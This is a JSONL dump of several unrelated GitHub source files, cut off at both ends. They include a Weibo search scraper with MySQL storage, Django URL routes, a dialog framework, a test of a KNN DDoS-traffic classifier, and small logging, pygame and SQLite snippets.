set(self.dict[UPDATED_KEY])\n updated_set.add(id)\n self.dict[UPDATED_KEY] = updated_set # trigger process synchro\n","repo_name":"fladdimir/casymda","sub_path":"src/casymda/visualization/canvas/web_canvas.py","file_name":"web_canvas.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"21"} +{"seq_id":"3341017969","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Aug 3 08:56:45 2018\n\n@author: Lina\n\"\"\"\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support import expected_conditions as EC\nimport selenium.webdriver.support.ui as ui\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom time import sleep\nfrom random import choice\nimport re\nimport os\nfrom requests import Session \nimport time \nfrom lxml import etree\nimport hashlib\nimport json\nimport requests\nimport pymysql\n\nbrowser = webdriver.Chrome(executable_path='C:/Users/15631/Anaconda3/Scripts/chromedriver.exe') \nwait = ui.WebDriverWait(browser,10)\n\nbrowser.get(\"http://s.weibo.com/\")\n\n#底层接口\nhome_url=''\n#请求token\ntoken=''\n#请求的方式id_array\nid_array='&id_array='\n#条数\nrows='&rows=50'\n#开始时间\nstarttime='&starttime='\n#结束时间\nendtime='&endtim='\n#搜索关键字keywords\nword='&word='\n\n#登陆\ndef login(username,password):\n try:\n wait.until(lambda browser: browser.find_element_by_xpath(\"//a[@node-type='loginBtn']\"))\n browser.find_element_by_xpath(\"//a[@node-type='loginBtn']\").click()\n\n wait.until(lambda browser: browser.find_element_by_xpath(\"//input[@name='username']\"))\n user=browser.find_element_by_xpath(\"//input[@name='username']\")\n user.clear()\n user.send_keys(username)\n time.sleep(1)\n\n psw=browser.find_element_by_xpath(\"//input[@name='password']\")\n psw.clear()\n psw.send_keys(password)\n time.sleep(1)\n\n browser.find_element_by_xpath(\"//div[6]/a\").click()\n time.sleep(3)\n except TimeoutException:\n login(username,password)\n #搜索 \n#关键词的搜索\ndef search(searchWord):\n try:\n wait.until(lambda browser: browser.find_element_by_class_name(\"gn_name\"))\n \n inputBtn = browser.find_element_by_class_name(\"searchInp_form\")\n inputBtn.clear()\n inputBtn.send_keys(searchWord.strip().encode('gbk').decode(\"gbk\"))\n browser.find_element_by_class_name('searchBtn').click()\n except TimeoutException:\n search(searchWord)\n # wait.until(lambda browser: browser.find_element_by_class_name(\"search_num\"))\n# 采集推文的链接\ndef geturl():\n \n wait.until(lambda browser: browser.find_element_by_class_name(\"W_pages\")) #等加载\n time.sleep(3)\n body=browser.page_source \n html=etree.HTML(body) #获取网页源码并解析\n content=[]\n \n urls=html.xpath(\"//dl/div/div[@class='content clearfix']/div[@class='feed_from W_textb']/a[1]/@href\")\n # Time=html.xpath(\"//div[@class='content clearfix']/div[@class='feed_from W_textb']/a[1]/@title\")\n # str_Time=','.join(Time)\n print(len(urls))\n #这里开始弄一个MD5获取url之后的格式处理\n for url in urls:\n db=connectdb()\n weibo_url=url[0:32]\n weibo_urls='http:'+weibo_url\n # print(weibo_urls)\n\n if isinstance(weibo_urls,str): #字符串转bytes\n byweibourl=weibo_urls.encode(\"utf-8\")\n # print(byweibourl)\n md = hashlib.md5()\n md.update(byweibourl)\n aaa=md.hexdigest()\n # print(aaa,end=',')\n # print(type(aaa))\n cursor=db.cursor()\n sql_url=\"INSERT INTO weibo_all(AID,aURL) values(%s,%s)\"\n cursor.execute(sql_url,(str(aaa),str(weibo_urls))) \n db.commit()\n content.append(aaa) \n # print(content)\n return content\n# 翻页\ndef nextPages():\n # 等待下一页的出现,等待页面加载出下一页的类才执行动作\n wait.until(lambda browser: browser.find_element_by_class_name(\"W_pages\"))\n if browser.find_element_by_class_name(\"W_pages\")!=None:\n nums = len(browser.find_elements_by_xpath(\"//div[@class='layer_menu_list W_scroll']/ul/li\"))#页面li的个数\n # print(nums)\n pg=browser.find_element_by_xpath(\"//div[@class='layer_menu_list W_scroll']/ul/li[%d]/a\" %nums) \n nx=browser.find_element(By.XPATH,'//a[text()=\"下一页\"]') #下一页,在第二页之后,就不是这个地址了,坑。找文本定位才是正解\n \n browser.execute_script(\"window.scrollTo(0,document.body.scrollHeight)\") #滑动到页面的底部的下一页位置,执行行为链\n ActionChains(browser).move_to_element(pg).click(nx).perform()\n\n#数据库 \ndef connectdb():\n mysql_server='your sql_url'\n name='sql_name'\n password='your password'\n mysql_db='your db'\n db=pymysql.connect(mysql_server,name,password,mysql_db)\n return db \n#数据库中取关键字,不稳定,不能用先\ndef find_word(db):\n cursor=db.cursor()\n search_words=\"SELECT * from keyword ORDER BY id \"\n cursor.execute(search_words)\n db.commit()\n add=[]\n words=cursor.fetchall()\n # str_word=list(tuple(words))\n # num=len(words)\n for i in words:\n str_word=list(tuple(i))\n list_pop=str_word.pop(1) #将数据库中sele出来的值做一个pop输出\n # print(str_word)\n add.append(list_pop) \n return add\n#关键字的转格式\ndef getfind_word(db):\n list_word=find_word(db)\n # print(list_word) \n str_word=','.join(list_word)\n # print(str_word) \n return str_word\n#关闭数据库\ndef closedb(db):\n db.close()\n\ndef main():\n \n#连接数据库\n db=connectdb()\n # num=len(browser.find_elements_by_xpath(\"//div[@class='layer_menu_list W_scroll']/ul/li\")) #获取页数 \n#登陆信息,在这里填入登陆信息\n login(\"\",'') \n#搜索关键字 \n searchword=\"杭州\"\n search(searchword) \n # geturl() #test\n gettext =[]\n # getlist_url(db) \n#搜索页码的范围,可以设置\n for i in range(0,5):\n gettext=gettext +geturl()\n sleep(choice([1,2,3,4,5])) \n nextPages()\n #url转md5之后的str格式\n str_gettext=','.join(gettext)\n # print(str_gettext)\n#请求的json\n #对底层的请求处理,加了关键词\n getapi=home_url+token+id_array+str_gettext+rows+word+searchword\n # print(getapi)\n \n # print(postappi.status_code)\n time.sleep(5)\n #对采集的处理,不加关键词\n getscrapy=home_url+token+id_array+str_gettext+rows\n # browser.get(getapi)\n dict_result1=requests.post(getapi).json()\n dict_result2=requests.post(getscrapy).json()\n # querydb(db)\n # print(len(gettext)) #url的条数\n#对请求的数据的筛选,时间是时间戳的形式,并且对比接口中的数据(底层)\n try:\n for i in range(len(gettext)):\n \n dict=dict_result1['results'][i]\n ID=dict['ID']\n #博主的ID \n UID=dict['UID'] \n #博文ID\n BlogID=dict['BlogID'] \n #推文链接\n URL=dict['Url']\n #采集时间\n AddOn=dict['AddOn']\n Addon_stamp=float(AddOn/1000)\n AddArray=time.localtime(Addon_stamp)\n AddonTime=time.strftime(\"%Y-%m-%d %H:%M:%S\", AddArray)\n #入库时间 \n AddTime=dict['AddTime']\n Addon_stamp=float(AddTime/1000)\n AddTimeArray=time.localtime(Addon_stamp)\n AddtimeTime=time.strftime(\"%Y-%m-%d %H:%M:%S\", AddTimeArray)\n #推文发布时间 \n Time=dict['Time'] \n # Time_stamp=float(Time/1000)\n timeArray=time.localtime(Time)\n Timetime=time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\n #关键字\n Keywords=dict['Keywords']\n \n # print('{} {} {} {} {} {} {} {}\\n'.format(ID,UID,URL,BlogID,AddonTime,AddtimeTime,Timetime) )\n # 数据库操作\n cursor=db.cursor()\n cursor.execute(\n \"INSERT INTO weibo_bottom(BID,UID,bURL,BlogID,AddOn,AddTime,Time,Keywords) values (%s,%s,%s,%s,%s,%s,%s,%s)\",\n (str(ID),str(UID),str(URL),str(BlogID),str(AddonTime),str(AddtimeTime),str(Timetime),str(Keywords)))\n db.commit()\n if i >len(gettext):\n break\n#采集的处理\n finally:\n for i in range(len(gettext)):\n \n dict=dict_result2['results'][i]\n ID=dict['ID']\n #博主的ID \n UID=dict['UID'] \n #博文ID\n BlogID=dict['BlogID'] \n #推文链接\n URL=dict['Url']\n #采集时间\n AddOn=dict['AddOn']\n Addon_stamp=float(AddOn/1000)\n AddArray=time.localtime(Addon_stamp)\n AddonTime=time.strftime(\"%Y-%m-%d %H:%M:%S\", AddArray)\n #入库时间 \n AddTime=dict['AddTime']\n Addon_stamp=float(AddTime/1000)\n AddTimeArray=time.localtime(Addon_stamp)\n AddtimeTime=time.strftime(\"%Y-%m-%d %H:%M:%S\", AddTimeArray)\n #推文发布时间 \n Time=dict['Time'] \n # Time_stamp=float(Time/1000)\n timeArray=time.localtime(Time)\n Timetime=time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\n #关键字\n Keywords=dict['Keywords']\n \n # print('{} {} {} {} {} {} {} {}\\n'.format(ID,UID,URL,BlogID,AddonTime,AddtimeTime,Timetime,Keywords) )\n # 数据库操作\n cursor=db.cursor()\n cursor.execute(\n \"INSERT INTO weibo_scrapy(SID,UID,sURL,BlogID,AddOn,AddTime,Time,Keywords) values (%s,%s,%s,%s,%s,%s,%s,%s)\",\n (str(ID),str(UID),str(URL),str(BlogID),str(AddonTime),str(AddtimeTime),str(Timetime),str(Keywords)))\n db.commit()\n if i >len(gettext):\n break\n \n \nif __name__ == '__main__':\n main()\n \n \n ","repo_name":"x-bessie/weibo_auto","sub_path":"weiboo.py","file_name":"weiboo.py","file_ext":"py","file_size_in_byte":9784,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"41177425565","text":"from django.urls import path\nfrom . import views\n\napp_name = 'staff'\n\nurlpatterns = [\n path('', views.home,name = \"home\"),\n path('login/', views.LoginView.as_view(),name = \"login\"),\n path('dashboard/', views.DashboardView.as_view(),name = \"dashboard\"),\n # path('dashboard/get-schedule/', views.scheduleGetView),\n path('profile/', views.ProfileView.as_view(),name = \"profile\"),\n path('profile/edit/', views.EditProfileView.as_view(),name = \"edit-profile\"),\n path('profile/change-password/', views.UserPasswordChangeView.as_view(),name = \"change-password\"),\n path('resources/', views.ResourceView.as_view(),name = \"resources\"),\n path('resources/upload/', views.ResourceUploadView.as_view(),name = \"resources-upload\"),\n # path('classes//', views.ClassDetailsView.as_view(),name = \"class-details\"),\n path('students/', views.StudentListView.as_view(),name = \"student-list\"),\n path('students//', views.StudentDetailView.as_view(),name = \"student-details\"),\n path('newsletter/', views.NewsletterView.as_view(),name = \"newsletter\"),\n # path('newsletter//', views.NewsletterDetailsView.as_view(),name = \"newsletter-details\"),\n path('newsletter/create/', views.NewsletterCreateView.as_view(),name = \"newsletter-create\"),\n path('department-course/', views.DepartmentCourseList.as_view(),name = \"department-course-list\"),\n path('department-course/create/', views.DepartmentCourseFormView.as_view(),name = \"department-course-form\"),\n path('department-course//add/', views.DepartmentCourseAddView.as_view(),name = \"department-course-add\"),\n # path('inbox//delete', views.InboxDeleteView.as_view(),name = \"inbox-delete\"),\n # path('uploads/', views.UploadView.as_view(),name = \"uploads\"),\n path('logout/', views.LogoutView.as_view(),name = \"logout\"),\n]","repo_name":"jaykayudo/SIMS","sub_path":"staff/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20015997184","text":"from oslo_config import cfg\nfrom oslo_log import log as logging\n \nLOG = logging.getLogger(__name__)\nCONF = cfg.CONF\nDOMAIN = \"test\"\n\nlogging.register_options(CONF)\nlogging.setup(CONF, DOMAIN)\n\ninfo = {\"name\": \"kim\", \"city\": \"seoul\"}\n \n# Oslo Logging uses INFO as default\nLOG.info(\"Logging name=> %(name)s, city=> %(city)s\", info )\nLOG.warning(\"Logging - %s\", info)\nLOG.error(\"Logging - %s\", info.get(\"name\"))\n","repo_name":"JohnHaan/cloudtechpython","sub_path":"20170320/oslo/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15819053892","text":"import json\n\nimport pytest\nfrom django.core.management import call_command\n\nfrom django_urr import extract_urls\n\n\n@pytest.mark.parametrize('format', ('json', 'jsonl'))\ndef test_list_command(capsys, format):\n urls = list(extract_urls())\n call_command('urr_list', format=format)\n cap = capsys.readouterr()\n objects = None\n if format == 'jsonl':\n objects = [json.loads(line) for line in cap.out.splitlines()]\n assert len(objects) == len(urls)\n elif format == 'json':\n objects = json.loads(cap.out)\n assert isinstance(objects, list)\n assert all(isinstance(obj, dict) for obj in objects)\n","repo_name":"valohai/django-urr","sub_path":"urrtests/test_command.py","file_name":"test_command.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"74396208053","text":"def do_pins(name):\n return [\"%s%d\" % (name, i) for i in range(8)]\n\npnames = ['PORTA', 'PORTB', 'PORTC', 'PORTD']\n\nports = {\"PORTA\" : do_pins(\"PA\"),\n \"PORTB\" : do_pins(\"PB\"),\n \"PORTC\" : do_pins(\"PC\"),\n \"PORTD\" : do_pins(\"PD\")}\n\ndef choose_fsport(obj, port):\n name = port.read()\n cfg.choose(\"FS_RS\", ports[name])\n cfg.choose(\"FS_EN\", ports[name])\n cfg.choose(\"FS_RW\", ports[name])\n\ndef choose_port(obj, port):\n name = port.read()\n p = ports[name]\n cfg.choose(\"LSB_PIN\", [p[i] for i in range(5)])\n\ndef set_ddr(obj, port):\n return \"DDR\" + port.read().lstrip('PORT')\n\ndef set_pin(obj, port):\n return \"PIN\" + port.read().lstrip('PORT')\n\ndef check_reinit_count(value):\n try:\n number = int(value)\n if number < 10 and number > 0:\n return True\n except ValueError:\n pass\n return False\n\nfs_port = cfg.choose(\"FS_PORT\", pnames)\ncfg.bind(None, choose_fsport, fs_port)\n\ndat_port = cfg.choose(\"DATA_PORT\", pnames)\n\ncfg.bind(None, choose_port, dat_port)\n\ncfg.bind(\"FS_DDR\", set_ddr, fs_port)\ncfg.bind(\"DATA_DDR\", set_ddr, dat_port)\ncfg.bind(\"DATA_PIN\", set_pin, dat_port)\n\ncfg.expr(\"REINIT_COUNT\", check=check_reinit_count,\n help=\"This must be an integer in range [1,10]\")\n","repo_name":"boon-code/tlcd-ks0066","sub_path":"src/configure_tlcd.py","file_name":"configure_tlcd.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"39684644951","text":"from django.urls import path, include\nfrom . import views\n\ntest_patterns = [\n path('', views.disposal, name='disposal'),\n path('prediction/', views.PredictView.as_view(), name='prediction'),\n path('price/', views.PriceView.as_view(), name='price'),\n path('standard/', views.StandardView.as_view(), name='standard'),\n path('registration/', views.RegistrationView.as_view(), name='registration'),\n]\nurlpatterns = [\n path('', include(test_patterns))\n]","repo_name":"gmlee329/larva_project","sub_path":"larva/disposal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69816344374","text":"from shared.parser import Parser\n\n\ndef YieldSteps(s):\n x = y = 0\n for segment in s.split(','):\n direction, steps = segment[0], int(segment[1:])\n for _ in range(steps):\n if direction == 'L':\n x -= 1\n elif direction == 'R':\n x += 1\n elif direction == 'U':\n y += 1\n else:\n y -= 1\n\n yield (x, y)\n\n\ndef FindClosestIntersection(trail_map, s):\n path_length = 0\n closest_dist = None\n for x, y in YieldSteps(s):\n path_length += 1\n if (x, y) in trail_map:\n total_dist = path_length + trail_map[(x, y)]\n if closest_dist is None or closest_dist > total_dist:\n closest_dist = total_dist\n\n return closest_dist\n\n\ndef GetClosestIntersection(s1, s2):\n path_length = 0\n trail = dict()\n for point in YieldSteps(s1):\n path_length += 1\n trail.setdefault(point, path_length)\n\n return FindClosestIntersection(trail, s2)\n\n\nif __name__ == '__main__':\n first = None\n second = None\n for line in Parser.ReadLines('input.txt'):\n if first is None:\n first = line\n else:\n second = line\n\n print(GetClosestIntersection(first, second))\n","repo_name":"BRapha/AoC_2019","sub_path":"day_3/distance_calculator.py","file_name":"distance_calculator.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11381551799","text":"from dataclasses import dataclass\nfrom typing import Optional, Union, cast, overload\n\nfrom .types import (\n AsyncDialog,\n AsyncGenDialog,\n BaseDialog,\n GenDialog,\n DialogStepDone,\n ServerMessage,\n DialogStepNotDone,\n SendMessageFunction,\n SendToClientException,\n Dialog,\n VersionMismatchException,\n get_client_response,\n send_message,\n)\nfrom .message_queue import MessageQueue\nfrom .persistence.persistence import PersistenceProvider\n\nfrom .generic_types import (\n T,\n ClientResponse,\n DialogContext,\n RunDialogReturnType,\n ServerResponse,\n build_dialog_context,\n)\nfrom .dialog_state import DialogState\n\nfrom .gen_dialogs import run_gen_dialog_step\n\n\n@dataclass(frozen=True)\nclass dialog_result(BaseDialog[T]):\n value: T\n name: str = \"dialog_result\"\n version: str = \"1.0\"\n\n\n_AsyncGenInputDialogType = Union[\n get_client_response[T], Dialog[T], GenDialog[T], AsyncDialog, AsyncGenDialog, dialog_result\n]\nAsyncGenInputDialogType = Union[_AsyncGenInputDialogType, send_message[ServerMessage]]\n\n\nasync def run_async_gen_dialog(\n dialog: AsyncGenInputDialogType,\n persistence: PersistenceProvider,\n client_response: ClientResponse,\n fallback_dialog: Optional[AsyncGenInputDialogType] = None,\n) -> Union[DialogStepDone[T, ServerMessage], DialogStepNotDone[ServerMessage]]:\n \"\"\"\n This is the interface for calling a generator based dialog from an external location.\n It returns an awaitable and allows running dialogs and subdialogs containg async io statements.\n\n The returned DialogStep object indicates:\n 1. Whether the dialog is done\n 2. If it's done, what the return value is\n 3. If it's not done, what the next server messages are\n \"\"\"\n\n queue = MessageQueue[ServerMessage]()\n send: SendMessageFunction = queue.enqueue\n\n state = persistence.get_state(dialog)\n if state.handling_fallback and fallback_dialog is not None:\n return await _run_fallback_dialog(\n client_response, dialog, persistence, fallback_dialog, state\n )\n\n is_done = False\n try:\n return_value = await _run_base_dialog(\n dialog, build_dialog_context(send, client_response, state)\n )\n is_done = True\n except VersionMismatchException:\n state.reset(dialog, fallback_mode=True)\n return await _run_fallback_dialog(\n client_response, dialog, persistence, fallback_dialog, state\n )\n\n except SendToClientException:\n pass\n\n messages = queue.dequeue_all()\n persistence.save_state(state)\n if is_done:\n return DialogStepDone(return_value=cast(T, return_value), messages=messages)\n else:\n return DialogStepNotDone(messages=messages)\n\n\nasync def _run_fallback_dialog(\n client_response, dialog, persistence, fallback_dialog, state: DialogState\n):\n messages: ServerResponse = []\n if fallback_dialog is not None:\n next_step: RunDialogReturnType = await run_async_gen_dialog(\n fallback_dialog, persistence, client_response\n )\n if not next_step.is_done:\n return next_step\n messages = next_step.messages\n # Fallback dialog completed\n state.reset(dialog, fallback_mode=False)\n\n next_step = await run_async_gen_dialog(dialog, persistence, client_response, fallback_dialog)\n next_step.messages = messages + next_step.messages\n return next_step\n\n\n@overload\nasync def _run_base_dialog(subdialog: send_message[ServerMessage], context: DialogContext) -> None:\n ...\n\n\n@overload\nasync def _run_base_dialog(\n subdialog: _AsyncGenInputDialogType,\n context: DialogContext,\n) -> T:\n ...\n\n\nasync def _run_base_dialog(\n subdialog: AsyncGenInputDialogType,\n context: DialogContext,\n) -> Optional[T]:\n state = context.state\n client_response = context.client_response\n send = context.send\n call_counter = context.call_counter\n\n subdialog_state = state.get_subdialog_state(next(call_counter), subdialog)\n\n if subdialog.version != subdialog_state.version:\n raise VersionMismatchException\n\n if subdialog_state.is_done:\n return subdialog_state.return_value\n\n return_value: T\n if isinstance(subdialog, GenDialog):\n # for gen_dialog we still need to await, in case it has a subdialog that awaits\n return_value = await _run_gen_dialog(\n subdialog, build_dialog_context(send, client_response, subdialog_state)\n )\n elif isinstance(subdialog, AsyncDialog):\n return_value = await subdialog.dialog() # type: ignore\n elif isinstance(subdialog, AsyncGenDialog):\n # async generators cannot return a value (https://www.python.org/dev/peps/pep-0525/#asynchronous-generators).\n # use yield to dialog_result keeping the result value for when this policy will change.\n return_value = await _run_async_gen_dialog(\n subdialog, build_dialog_context(send, client_response, subdialog_state)\n )\n if (\n subdialog_state.is_done\n ): # if dialog_result was used then this is the actual value. stop here\n return subdialog_state.return_value\n elif isinstance(subdialog, dialog_result):\n # a solution for async generators not having return value, this step sets the\n # parent dialog value\n return_value = subdialog.value\n state.return_value = subdialog.value\n else:\n # the rest is executed in the same manner as regular gen dialogs\n return_value = run_gen_dialog_step(subdialog, subdialog_state, client_response, send)\n\n subdialog_state.return_value = return_value\n return return_value\n\n\nasync def _run_gen_dialog(dialog: GenDialog[T], context: DialogContext) -> T:\n instance = dialog.dialog() # type: ignore\n try:\n value_for_next_step = None\n while True:\n next_step = instance.send(value_for_next_step)\n value_for_next_step = await _run_base_dialog(next_step, context)\n except StopIteration as ex:\n return ex.value\n\n\nasync def _run_async_gen_dialog(dialog: AsyncGenDialog[T], context: DialogContext):\n instance = dialog.dialog() # type: ignore\n try:\n value_for_next_step = None\n while True:\n next_step = await instance.asend(value_for_next_step)\n value_for_next_step = await _run_base_dialog(next_step, context)\n except StopAsyncIteration:\n # async iterator does not return a value...so just return. use yield dialog_result\n # to setup a dialog result, instead\n pass\n","repo_name":"khealth/dialogs","sub_path":"dialogs_framework/async_gen_dialogs.py","file_name":"async_gen_dialogs.py","file_ext":"py","file_size_in_byte":6549,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"24059645534","text":"import joblib\nimport pandas as pd\n\ntry:\n with open(\"ddos_knn_classifier_model.pkl\", \"rb\") as file:\n ddos_model_1 = joblib.load(file)\nexcept Exception as e:\n print(\"Error loading the model:\", str(e))\n ddos_model_1 = None\n\n\nlabel=[\"Benign\",\"DDoS-ACK\",\"DDoS-PSH-ACK\"]\ndata2={\n \"tcp.srcport\": 2413,\n \"tcp.dstport\": 8000,\n \"ip.proto\": 6,\n \"frame.len\": 54,\n \"tcp.flags.syn\": 0,\n \"tcp.flags.reset\": 0,\n \"tcp.flags.push\": 1,\n \"tcp.flags.ack\": 1,\n \"ip.flags.mf\": 0,\n \"ip.flags.df\": 0,\n \"ip.flags.rb\": 0,\n \"tcp.seq\": 1,\n \"tcp.ack\": 1,\n \"Packets\": 10,\n \"Bytes\": 540,\n \"Tx Packets\": 5,\n \"Tx Bytes\": 270,\n \"Rx Packets\": 5,\n \"Rx Bytes\": 270\n }\ndata12 = {\n \"tcp.srcport\": 2412,\n \"tcp.dstport\": 8000,\n \"ip.proto\": 6,\n \"frame.len\": 54,\n \"tcp.flags.syn\": 0,\n \"tcp.flags.reset\": 0,\n \"tcp.flags.push\": 1,\n \"tcp.flags.ack\": 1,\n \"ip.flags.mf\": 0,\n \"ip.flags.df\": 0,\n \"ip.flags.rb\": 0,\n \"tcp.seq\": 1,\n \"tcp.ack\": 1,\n \"Packets\": 8,\n \"Bytes\": 432,\n \"Tx Packets\": 4,\n \"Tx Bytes\": 216,\n \"Rx Packets\": 4,\n \"Rx Bytes\": 216\n}\n\ndata1 = {\n \"tcp_srcport\": 2412,\n \"tcp_dstport\": 8000,\n \"ip_proto\": 6,\n \"frame_len\": 54,\n \"tcp_flags_syn\": 0,\n \"tcp_flags_reset\": 0,\n \"tcp_flags_push\": 1,\n \"tcp_flags_ack\": 1,\n \"ip_flags_mf\": 0,\n \"ip_flags_df\": 0,\n \"ip_flags_rb\": 0,\n \"tcp_seq\": 1,\n \"tcp_ack\": 1,\n \"packets\": 8,\n \"bytes\": 432,\n \"tx_packets\": 4,\n \"tx_bytes\": 216,\n \"rx_packets\": 4,\n \"rx_bytes\": 216\n}\n\n# Convert the dictionary to a DataFrame\ndf = pd.DataFrame([data1])\nprint(df)\nprint(label[ddos_model_1.predict(df)[0]])","repo_name":"resrrdttrt/ai-service","sub_path":"DDoS/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32430029676","text":"# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom renormalizer.sbm import SpinBosonDynamics, param2mollist\nfrom renormalizer.utils import Quantity, CompressConfig, EvolveConfig, log\n\nlog.init_log(logging.INFO)\n\nif __name__ == \"__main__\":\n alpha = 0.05\n raw_delta = Quantity(1)\n raw_omega_c = Quantity(20)\n n_phonons = 300\n renormalization_p = 1\n model = param2mollist(alpha, raw_delta, raw_omega_c, renormalization_p, n_phonons)\n\n compress_config = CompressConfig(threshold=1e-4)\n evolve_config = EvolveConfig(adaptive=True, guess_dt=0.1)\n sbm = SpinBosonDynamics(model, Quantity(0), compress_config=compress_config, evolve_config=evolve_config, dump_dir=\"./\", job_name=\"sbm\")\n sbm.evolve(evolve_dt=0.1, evolve_time=20)","repo_name":"shuaigroup/Renormalizer","sub_path":"example/sbm.py","file_name":"sbm.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"21"} +{"seq_id":"20123920075","text":"import json\nfrom bson.objectid import ObjectId\n\nfrom utils.Utils import Utils\nfrom database.user.UserDb import UserDb\nfrom database.meetup.MeetupDb import MeetupDb\n\nclass AddMeetup:\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.__meetup = {\n \"title\": \"\",\n \"description\": \"\",\n \"location\": {\n \"title\": \"\",\n \"country\": \"\",\n \"latitude\": \"\",\n \"longitude\": \"\"\n },\n \"timeline\": {\n \"from\": \"\",\n \"to\": \"\"\n },\n \"isPrivate\": False,\n \"joinedBy\": [],\n \"metadata\": {\n \"createdBy\": \"\",\n \"createdOn\": \"\"\n }\n }\n\n def validateTitle(self):\n return True if self.__meetup[\"title\"] else False\n \n def validateDescription(self):\n return True if self.__meetup[\"description\"] else False\n \n def validateTimeline(self):\n return True if self.__meetup[\"timeline\"][\"from\"] and self.__meetup[\"timeline\"][\"to\"] else False\n\n def on_post(self, req, resp):\n reqData = req.media\n responseObj = {}\n responseObj[\"message\"] = \"\"\n responseObj[\"returnData\"] = \"\"\n utils = Utils()\n self.__meetup[\"title\"] = reqData.get(\"title\", \"\")\n self.__meetup[\"description\"] = reqData.get(\"description\", \"\")\n self.__meetup[\"location\"][\"title\"] = reqData.get(\"location\", \"\").get(\"title\", \"\")\n self.__meetup[\"location\"][\"country\"] = reqData.get(\"location\", \"\").get(\"country\", \"\")\n self.__meetup[\"location\"][\"latitude\"] = reqData.get(\"location\", \"\").get(\"latitude\", \"\")\n self.__meetup[\"location\"][\"longitude\"] = reqData.get(\"location\", \"\").get(\"longitude\", \"\")\n self.__meetup[\"timeline\"][\"from\"] = utils.getDateFromUTCString(reqData.get(\"timeline\", \"\").get(\"from\", \"\"))\n self.__meetup[\"timeline\"][\"to\"] = utils.getDateFromUTCString(reqData.get(\"timeline\", \"\").get(\"to\", \"\"))\n self.__meetup[\"isPrivate\"] = reqData.get(\"isPrivate\", False)\n self.__meetup[\"joinedBy\"] = []\n self.__meetup[\"metadata\"][\"createdBy\"] = ObjectId(req.params[\"userId\"])\n self.__meetup[\"metadata\"][\"createdOn\"] = utils.getDateFromUTCString(reqData.get(\"metadata\", \"\").get(\"createdOn\", \"\"))\n try:\n # validate required data\n if self.validateTitle() and self.validateDescription() and self.validateTimeline():\n if \"_id\" in self.__meetup:\n del self.__meetup[\"_id\"]\n meetupdb = MeetupDb()\n # insert meetup\n meetupId = meetupdb.insertMeetup(self.__meetup)\n # add user as joining user\n meetupdb.registerToMeetup(req.params[\"userId\"], meetupId)\n userdb = UserDb()\n # add to created meetups by user\n userdb.addToCreatedMeetups(req.params[\"userId\"], meetupId)\n # add to joined meetups by user\n userdb.addToJoinedMeetups(req.params[\"userId\"], meetupId)\n # get this meetup data\n responseObj[\"returnData\"] = meetupdb.findOneMeetup(meetupId)\n responseObj[\"responseId\"] = 211\n else:\n responseObj[\"responseId\"] = 111\n responseObj[\"message\"] = \"check if all the fields are valid\"\n except Exception as ex:\n print(ex)\n responseObj[\"responseId\"] = 111\n responseObj[\"message\"] = \"some error occurred\"\n resp.body = json.dumps(responseObj)\n","repo_name":"kartikeybhardwaj/meetup-bapi","sub_path":"src/meetup/AddMeetup.py","file_name":"AddMeetup.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30083064033","text":"# -*- coding: utf-8 -*-\n\n# Importar las librerías\nimport pygame, sys\nfrom pygame.locals import *\n\n# Inicializar la librería de pygame\npygame.init()\n\nBLANCO = (255,255,255)\n\n# Creamos la pantalla\npantalla = pygame.display.set_mode((800,600))\n\n# Rellenamos la pantalla de color negro\npantalla.fill((0,0,0))\n\n# Dibujamos un círculo de color blanco en esa posición en el buffer\npygame.draw.circle(pantalla, BLANCO, (50,50),4,0)\n\n# Actualizamos la pantalla\npygame.display.update()\n\n# Finalizamos la librería y salimos al sistema\npygame.quit()\nsys.exit()\n","repo_name":"MrBrenlla/Titanomaquia","sub_path":"Ejemplos/1 - Pong/1 - solo se crea la pantalla y sale.py","file_name":"1 - solo se crea la pantalla y sale.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19686456041","text":"import sqlite3\r\n\r\nclass Database:\r\n\r\n def __init__(self):\r\n self.file = 'MechanicsData.sqlite'\r\n self.conn = sqlite3.connect(self.file)\r\n self.cursor = self.conn.cursor()\r\n \r\n self.cursor.execute('''CREATE TABLE IF NOT EXISTS simulations (\r\n simID INTEGER PRIMARY KEY,\r\n name TEXT,\r\n description TEXT,\r\n type TEXT\r\n )''')\r\n\r\n 